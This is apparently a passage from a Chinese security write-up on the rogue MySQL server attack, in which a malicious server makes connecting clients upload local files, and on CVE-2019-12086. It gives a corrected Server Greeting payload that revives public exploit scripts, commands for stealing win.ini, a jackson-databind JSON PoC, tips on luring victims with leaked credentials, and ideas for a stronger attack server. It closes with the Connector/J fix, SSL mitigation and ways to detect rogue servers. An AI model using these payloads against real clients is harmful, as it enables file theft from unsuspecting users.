.... .... .... 0... = Plugin Auth: Not set
.... .... ...0 .... = Connect attrs: Not set
.... .... ..0. .... = Plugin Auth LENENC Client Data: Not set
.... .... .0.. .... = Client can handle expired passwords: Not set
.... .... 0... .... = Session variable tracking: Not set
.... ...0 .... .... = Deprecate EOF: Not set
0000 000. .... .... = Unused: 0x00
Authentication Plugin Length: 0
Unused: 00000000000000000000
Salt: evil2222
0030 41 00 00 00 0a 33 2e 30 2e 30 A....3.0.0
0040 2d 45 76 69 6c 5f 4d 79 73 71 6c 5f 53 65 72 76 -Evil_Mysql_Serv
0050 65 72 00 36 00 00 00 65 76 69 6c 73 61 6c 74 00 er.6...evilsalt.
0060 df f7 08 02 00 00 00 00 00 00 00 00 00 00 00 00 ................
0070 00 00 65 76 69 6c 32 32 32 32 00 ..evil2222.
--------------------------------------------------------------------------
如果用CVE-2019-12086的PoC测试,可能得到错误提示:
com.mysql.cj.exceptions.UnableToConnectException: CLIENT_PLUGIN_AUTH is required
MySQL Client收到上面这个”Server Greeting”之后判定其格式非法,主动关闭了TCP连接。最初尝试复现CVE-2019-12086失败,并未抓包细究,后来才发现这茬。
Gifts提供的”Server Greeting”如下:
--------------------------------------------------------------------------
'\x0a', # Protocol
'3.0.0-Evil_Mysql_Server' + '\0',
# Version
'\x36\x00\x00\x00', # Thread ID
'evilsalt' + '\0', # Salt
'\xdf\xf7', # Capabilities
'\x08', # Collation
'\x02\x00', # Server Status
'\0' * 13, # Unknown
'evil2222' + '\0'
--------------------------------------------------------------------------
从注释看,应该是抓”5.1.66-0+squeeze1″版的通信报文后修改而得。这个太老了,已不适用较新的MySQL Client,需要将”Server Greeting”修改如下:
--------------------------------------------------------------------------
'\x0a', # Protocol: 10
'any' + '\0', # Version: any
'\x05\x00\x00\x00', # Thread ID: 5
'A' * 8 + '\0', # Salt
'\xdf\xf7', # Capabilities
'\x08', # Server Language: latin1 COLLATE latin1_swedish_ci (8)
'\x02\x00', # Server Status: 0x0002
'\x08\x00', # Extended Server Capabilities: only one bit is necessary
'\x15', # Authentication Plugin Length: 21
'\0' * 10, # Unused: 00000000000000000000
'B' * 12 + '\0', # Salt
'mysql_native_password' + '\0', # Authentication Plugin: mysql_native_password
--------------------------------------------------------------------------
Gifts的第二个Salt是8+1=9字节,对于较新的MySQL Client,该字段必须是12+1=13字节。此外必须让”Extended Server Capabilities”中如下位置位:
.... .... .... 1... = Plugin Auth: Set
修改后的”Server Greeting”
--------------------------------------------------------------------------
No. len Protocol src dst sport dport Info
4 129 MySQL 192.168.65.23 192.168.65.1 3306 61351 Server Greeting proto=10 version=any
Internet Protocol Version 4, Src: 192.168.65.23, Dst: 192.168.65.1
Transmission Control Protocol, Src Port: 3306, Dst Port: 61351, Seq: 1, Ack: 1, Len: 75
MySQL Protocol
Packet Length: 71
Packet Number: 0
Server Greeting
Protocol: 10
Version: any
Thread ID: 5
Salt: AAAAAAAA
Server Capabilities: 0xf7df
.... .... .... ...1 = Long Password: Set
.... .... .... ..1. = Found Rows: Set
.... .... .... .1.. = Long Column Flags: Set
.... .... .... 1... = Connect With Database: Set
.... .... ...1 .... = Don't Allow database.table.column: Set
.... .... ..0. .... = Can use compression protocol: Not set
.... .... .1.. .... = ODBC Client: Set
.... .... 1... .... = Can Use LOAD DATA LOCAL: Set
.... ...1 .... .... = Ignore Spaces before '(': Set
.... ..1. .... .... = Speaks 4.1 protocol (new flag): Set
.... .1.. .... .... = Interactive Client: Set
.... 0... .... .... = Switch to SSL after handshake: Not set
...1 .... .... .... = Ignore sigpipes: Set
..1. .... .... .... = Knows about transactions: Set
.1.. .... .... .... = Speaks 4.1 protocol (old flag): Set
1... .... .... .... = Can do 4.1 authentication: Set
Server Language: latin1 COLLATE latin1_swedish_ci (8)
Server Status: 0x0002
.... .... .... ...0 = In transaction: Not set
.... .... .... ..1. = AUTO_COMMIT: Set
.... .... .... .0.. = More results: Not set
.... .... .... 0... = Multi query - more resultsets: Not set
.... .... ...0 .... = Bad index used: Not set
.... .... ..0. .... = No index used: Not set
.... .... .0.. .... = Cursor exists: Not set
.... .... 0... .... = Last row sent: Not set
.... ...0 .... .... = database dropped: Not set
.... ..0. .... .... = No backslash escapes: Not set
.... .0.. .... .... = Session state changed: Not set
.... 0... .... .... = Query was slow: Not set
...0 .... .... .... = PS Out Params: Not set
Extended Server Capabilities: 0x0008
.... .... .... ...0 = Multiple statements: Not set
.... .... .... ..0. = Multiple results: Not set
.... .... .... .0.. = PS Multiple results: Not set
.... .... .... 1... = Plugin Auth: Set
.... .... ...0 .... = Connect attrs: Not set
.... .... ..0. .... = Plugin Auth LENENC Client Data: Not set
.... .... .0.. .... = Client can handle expired passwords: Not set
.... .... 0... .... = Session variable tracking: Not set
.... ...0 .... .... = Deprecate EOF: Not set
0000 000. .... .... = Unused: 0x00
Authentication Plugin Length: 21
Unused: 00000000000000000000
Salt: BBBBBBBBBBBB
Authentication Plugin: mysql_native_password
0030 47 00 00 00 0a 61 6e 79 00 05 G....any..
0040 00 00 00 41 41 41 41 41 41 41 41 00 df f7 08 02 ...AAAAAAAA.....
0050 00 08 00 15 00 00 00 00 00 00 00 00 00 00 42 42 ..............BB
0060 42 42 42 42 42 42 42 42 42 42 00 6d 79 73 71 6c BBBBBBBBBB.mysql
0070 5f 6e 61 74 69 76 65 5f 70 61 73 73 77 6f 72 64 _native_password
0080 00 .
--------------------------------------------------------------------------
rogue_mysql_server_allyshka.py
相比Gifts版,allyshka版修改了三处:
- 将log.setLevel(logging.DEBUG)改成logging.INFO
- 修改”Server Greeting”
- 注释掉对daemonize()的调用
真正起作用的是第2项修改。
rogue_mysql_server_jas502n.py
相比allyshka版,jas502n版修改了一处:
- 通过命令行参数指定待获取的文件
漏洞复现
在Linux上:
$ python2 rogue_mysql_server_jas502n.py "c:\windows\win.ini"
$ tail -f mysql.log
在Windows上:
$ mysql.exe -h 192.168.65.23 -u root -p --enable-local-infile
提示输入口令时直接回车,恶意MySQL Server对任意user:pass都响应以成功登录;然后MySQL Client主动向恶意MySQL Server发送win.ini,无需其他交互。若无”–enable-local-infile”,MySQL Client不会主动上传文件,说明这个版本的MySQL Client默认禁止”–enable-local-infile”。
MySQL Client允许”–enable-local-infile”体现在”Login Request”的”Client Capabilities”中:
.... .... 1... .... = Can Use LOAD DATA LOCAL: Set
$ mysql.exe -h 192.168.65.23 -u root -p
观察此时”Login Request”的”Client Capabilities”:
.... .... 0... .... = Can Use LOAD DATA LOCAL: Not set
该位复位表示MySQL Client禁止”–enable-local-infile”,这种情况下无法复现漏洞,mysql.exe收到”Response TABULAR”后不会进一步发送响应报文。
CVE-2019-12086
PoC
--------------------------------------------------------------------------
{
...,
"some":
[
"com.mysql.cj.jdbc.admin.MiniAdmin",
"jdbc:mysql://192.168.65.23:3306/any"
]
}
--------------------------------------------------------------------------
MySQL Connector/J 8.0.14产生的”Login Request”
下面是mysql-connector-java-8.0.14.jar产生的报文:
--------------------------------------------------------------------------
No. len Protocol src dst sport dport Info
5 118 MySQL 192.168.65.1 192.168.65.23 33932 3306 Login Request user= db=any
Internet Protocol Version 4, Src: 192.168.65.1, Dst: 192.168.65.23
Transmission Control Protocol, Src Port: 33932, Dst Port: 3306, Seq: 1, Ack: 76, Len: 64
MySQL Protocol
Packet Length: 60
Packet Number: 1
Login Request
Client Capabilities: 0xa28f
.... .... .... ...1 = Long Password: Set
.... .... .... ..1. = Found Rows: Set
.... .... .... .1.. = Long Column Flags: Set
.... .... .... 1... = Connect With Database: Set
.... .... ...0 .... = Don't Allow database.table.column: Not set
.... .... ..0. .... = Can use compression protocol: Not set
.... .... .0.. .... = ODBC Client: Not set
.... .... 1... .... = Can Use LOAD DATA LOCAL: Set
.... ...0 .... .... = Ignore Spaces before '(': Not set
.... ..1. .... .... = Speaks 4.1 protocol (new flag): Set
.... .0.. .... .... = Interactive Client: Not set
.... 0... .... .... = Switch to SSL after handshake: Not set
...0 .... .... .... = Ignore sigpipes: Not set
..1. .... .... .... = Knows about transactions: Set
.0.. .... .... .... = Speaks 4.1 protocol (old flag): Not set
1... .... .... .... = Can do 4.1 authentication: Set
Extended Client Capabilities: 0x000e
.... .... .... ...0 = Multiple statements: Not set
.... .... .... ..1. = Multiple results: Set
.... .... .... .1.. = PS Multiple results: Set
.... .... .... 1... = Plugin Auth: Set
.... .... ...0 .... = Connect attrs: Not set
.... .... ..0. .... = Plugin Auth LENENC Client Data: Not set
.... .... .0.. .... = Client can handle expired passwords: Not set
.... .... 0... .... = Session variable tracking: Not set
.... ...0 .... .... = Deprecate EOF: Not set
0000 000. .... .... = Unused: 0x00
MAX Packet: 16777215
Charset: utf8 COLLATE utf8_general_ci (33)
Username:
Schema: any
Client Auth Plugin: mysql_native_password
0030 3c 00 00 01 8f a2 0e 00 ff ff .../..<.........
0040 ff 00 21 00 00 00 00 00 00 00 00 00 00 00 00 00 ..!.............
0050 00 00 00 00 00 00 00 00 00 00 00 00 61 6e 79 00 ............any.
0060 6d 79 73 71 6c 5f 6e 61 74 69 76 65 5f 70 61 73 mysql_native_pas
0070 73 77 6f 72 64 00 sword.
--------------------------------------------------------------------------
“Client Capabilities”中的”Can Use LOAD DATA LOCAL”默认置位。
MySQL Connector/J 8.0.14产生的初始查询
mysql.exe的初始查询是”select @@version_comment limit 1″,mysql-connector-java-8.0.14.jar的初始查询不一样。
--------------------------------------------------------------------------
No. len Protocol src dst sport dport Info
8 159 MySQL 192.168.65.1 192.168.65.23 7357 3306 Request Query
Internet Protocol Version 4, Src: 192.168.65.1, Dst: 192.168.65.23
Transmission Control Protocol, Src Port: 7357, Dst Port: 3306, Seq: 65, Ack: 87, Len: 105
MySQL Protocol
Packet Length: 101
Packet Number: 0
Request Command Query
Command: Query (3)
Statement: /* mysql-connector-java-8.0.14 (Revision: 36534fa273b4d7824a8668ca685465cf8eaeadd9) */SHOW VARIABLES
0030 65 00 00 00 03 2f 2a 20 6d 79 e..../* my
0040 73 71 6c 2d 63 6f 6e 6e 65 63 74 6f 72 2d 6a 61 sql-connector-ja
0050 76 61 2d 38 2e 30 2e 31 34 20 28 52 65 76 69 73 va-8.0.14 (Revis
0060 69 6f 6e 3a 20 33 36 35 33 34 66 61 32 37 33 62 ion: 36534fa273b
0070 34 64 37 38 32 34 61 38 36 36 38 63 61 36 38 35 4d7824a8668ca685
0080 34 36 35 63 66 38 65 61 65 61 64 64 39 29 20 2a 465cf8eaeadd9) *
0090 2f 53 48 4f 57 20 56 41 52 49 41 42 4c 45 53 /SHOW VARIABLES
--------------------------------------------------------------------------
MySQL Connector/J 8.0.14自动发起的查询
如果恶意MySQL Server的状态机实现得够鲁棒,会发现mysql-connector-java-8.0.14.jar自动发送4次”Request Query”:
/* mysql-connector-java-8.0.14 (Revision: 36534fa273b4d7824a8668ca685465cf8eaeadd9) */SELECT @@session.auto_increment_increment AS auto_increment_increment, @@character_set_client AS character_set_client, @@character_set_connection AS character_set_connection, @@character_set_results AS character_set_results, @@character_set_server AS character_set_server, @@collation_server AS collation_server, @@collation_connection AS collation_connection, @@init_connect AS init_connect, @@interactive_timeout AS interactive_timeout, @@license AS license, @@lower_case_table_names AS lower_case_table_names, @@max_allowed_packet AS max_allowed_packet, @@net_write_timeout AS net_write_timeout, @@query_cache_size AS query_cache_size, @@query_cache_type AS query_cache_type, @@sql_mode AS sql_mode, @@system_time_zone AS system_time_zone, @@time_zone AS time_zone, @@tx_isolation AS transaction_isolation, @@wait_timeout AS wait_timeout
SET NAMES latin1
SET autocommit=1
SET sql_mode='STRICT_TRANS_TABLES'
发出”SET NAMES latin1″后,未对”Response TABULAR”产生动作。而其他3次”Request Query”均对”Response TABULAR”产生动作,也就是上传了3次文件。
MySQL Connector/J 8.0.15的修补方案
参[4]
检查com.mysql.cj.conf.PropertyDefinitions,其中有一句:
--------------------------------------------------------------------------
/*
* mysql-connector-java-8.0.15-sources.jar
*/
new BooleanPropertyDefinition(PropertyKey.allowLoadLocalInfile, DEFAULT_VALUE_FALSE, RUNTIME_MODIFIABLE,
Messages.getString("ConnectionProperties.loadDataLocal"), "3.0.3", CATEGORY_SECURITY, Integer.MAX_VALUE),
--------------------------------------------------------------------------
/*
* JD-GUI
*/
new BooleanPropertyDefinition(PropertyKey.allowLoadLocalInfile, Boolean.valueOf(false), true, Messages.getString("ConnectionProperties.loadDataLocal"), "3.0.3", CATEGORY_SECURITY, Integer.MAX_VALUE)
--------------------------------------------------------------------------
8.0.14中allowLoadLocalInfile默认为true,8.0.15中该值默认为false,相当于没有指定”–enable-local-infile”。
抓包观察8.0.15登录认证报文的”Client Capabilities”,会看到:
.... .... 0... .... = Can Use LOAD DATA LOCAL: Not set
防御措施
参[5],官方给的安全建议。
rogue_mysql_server.py不支持SSL,如果MySQL Client强制启用SSL,中招可能性降低。不排除新的恶意MySQL Server出现,不要依赖这点进行防御。
$ mysql.exe -h 192.168.65.23 -u root -p --enable-local-infile --ssl-mode=REQUIRED
ERROR 2026 (HY000): SSL connection error: SSL is required but the server doesn't support it
MySQL Client指定”–ssl-mode=REQUIRED”后,如果”Server Greeting”中
“Server Capabilities”字段没有启用SSL,MySQL Client报错退出。
这是个协议设计层面的安全漏洞,MySQL Client发出”Request Query”,如果不是”LOAD DATA LOCAL INFILE”,就不应该对”Response TABULAR”产生动作,状态机太不严谨。现状是只要MySQL Client发出”Request Query”,就会对”Response TABULAR”产生动作。至今没有从状态机层面修补漏洞,而是缺省禁止上传文件,这算什么修补?
杂项
蜜罐
这个很好理解,在蜜罐中布署恶意MySQL Server,等待对3306/TCP的扫描尝试。万一扫描器使用了存在漏洞的MySQL Client封装,就会被蜜罐反向捕捉敏感信息。
通过社会工程学诱使他人前来访问恶意MySQL Server也是一种选择,在github上故意泄露恶意MySQL Server的user:pass,在论坛发布渗透测试的文章,等等。
网上公开的源自Gifts的恶意MySQL Server,其状态机过于简陋,鲁棒性、兼容性、功能性均属于PoC级别。提供一些设计思路供参考:
- 实现鲁棒性较强的状态机,兼容不同MySQL Client行为
- 直接将捕获的客户端文件保存成单个文件,文件名以客户端IP结尾,便于区分
- 支持二进制文件上传
- 支持上百MB大文件上传
- 尽可能捕获客户端信息,捕捉登录请求、查询语句、退出命令等
- 支持向日志文件输出Console日志
- 支持可控daemon化
- 命令行指定待捕获的客户端文件
- 允许命令行指定侦听的IP、PORT
- 允许命令行指定banner
- 考虑消耗内存、消耗硬盘等DoS攻击
扫描恶意MySQL Server
100%有人在公网布署恶意MySQL Server,其不可避免地会被扫描识别出来。提供一些设计思路供参考:
- 检查”Server Greeting”是否可疑,比如是否禁用SSL、允许上传文件
- 检查”Login Response”是否可疑,比如明显不正确的user:pass直接登录成功
- 检查普通”Request Query”是否也收到”Response TABULAR”,显示文件名信息
这个扫描过程务必自己用socket编程实现,不要调用现成的MySQL Client封装,以免被反搞。
参考资源
[1] MySQL connect file read – [2016-04-20]
http://russiansecurity.expert/2016/04/20/mysql-connect-file-read/
[2] Read MySQL Client’s File – [2018-09-06]
https://lightless.me/archives/read-mysql-client-file.html
[3] https://github.com/Gifts/Rogue-MySql-Server
(2013版本,已不适用较新的MySQL Client,需要修改)
https://github.com/allyshka/Rogue-MySql-Server
(这是修改过的可用版本)
https://github.com/jas502n/CVE-2019-12086-jackson-databind-file-read
(这是另一个修改过的可用版本)
[4] http://central.maven.org/maven2/mysql/mysql-connector-java/8.0.14/mysql-connector-java-8.0.14.jar
http://central.maven.org/maven2/mysql/mysql-connector-java/8.0.15/mysql-connector-java-8.0.15.jar
http://central.maven.org/maven2/mysql/mysql-connector-java/8.0.15/mysql-connector-java-8.0.15-sources.jar
[5] Security Issues with LOAD DATA LOCAL
https://dev.mysql.com/doc/refman/8.0/en/load-data-local.html
(官方给的安全建议)